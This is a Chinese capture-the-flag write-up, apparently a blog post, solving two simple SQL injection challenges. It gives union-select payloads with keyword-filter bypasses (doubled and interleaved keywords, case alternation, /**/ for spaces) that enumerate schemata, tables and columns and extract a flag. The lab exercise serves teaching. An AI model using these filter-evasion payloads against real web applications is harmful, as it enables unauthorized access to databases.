简单的SQL注入1

判断注入类型
输入:1

输入:1’

出现报错,初步猜测这是一个字符型的注入。
尝试一些基本的语句:
输入:
1' union select schema_name from information_schema.schemata where '1' ='1

又出现报错。union select被过滤
测试了几个关键词以后,发现都被过滤了
关键词被过滤:解决方法如下
1大小写交替: Order SeLect
2.双写 : OderOrder SelectSelect
3.交叉: selecselectt
所以我们先尝试双写 union select
1' unionunion selectselect schema_name from information_schema.schemata where '1' ='1

出现报错,所以应该是空格也被过滤了,所以使用两个空格(绕过空格有好多方法:+,/**/,%0a)
1' unionunion selectselect schema_name fromfrom information_schema.schemata wherewhere '1' ='1

查询当前数据库,按同样的方式
1' unionunion selectselect database()'

接下来我们查询数据库中的表:
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
在输出的众多表中,可以发现一个flag表

所以接下来我们就要查询flag表中的字段
1' unionunion selectselect column_name fromfrom information_schema.columns wherewhere table_name='flag
报错。
发现是column_name和information_schema.columns被过滤
修改我们的命令:
1' unionunion selectselect column_namecolumn_name fromfrom information_schema.columnsinformation_schema.columns wherewhere table_name='flag
还是报错。于是我们只能换一种防过滤的方法:交叉
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.columninformation_schema.columnss wherewhere table_name='flag

发现flag字段名,这时可以获取flag
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1

简单的SQL注入2
输入:1’ or ‘1’=‘1

输入:1’or’1’=‘1

输入:1’//or//‘1’='1

猜测是过滤了空格。
输入基本语句:1’ union select schema_name from information_schema.schemata where ‘1’ ='1
会出现SQLi detected!

然后我们尝试获取数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

获取数据库中的表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

获取字段:
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

获取flag:
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

博客围绕SQL注入展开,先判断注入类型,发现为字符型注入。测试时部分关键词被过滤,给出大小写交替、双写、交叉等解决方法。还介绍绕过空格的方式,通过一系列操作查询数据库、表、字段,最终获取flag,同时给出了简单SQL注入的不同输入示例。
600

被折叠的 条评论
为什么被折叠?



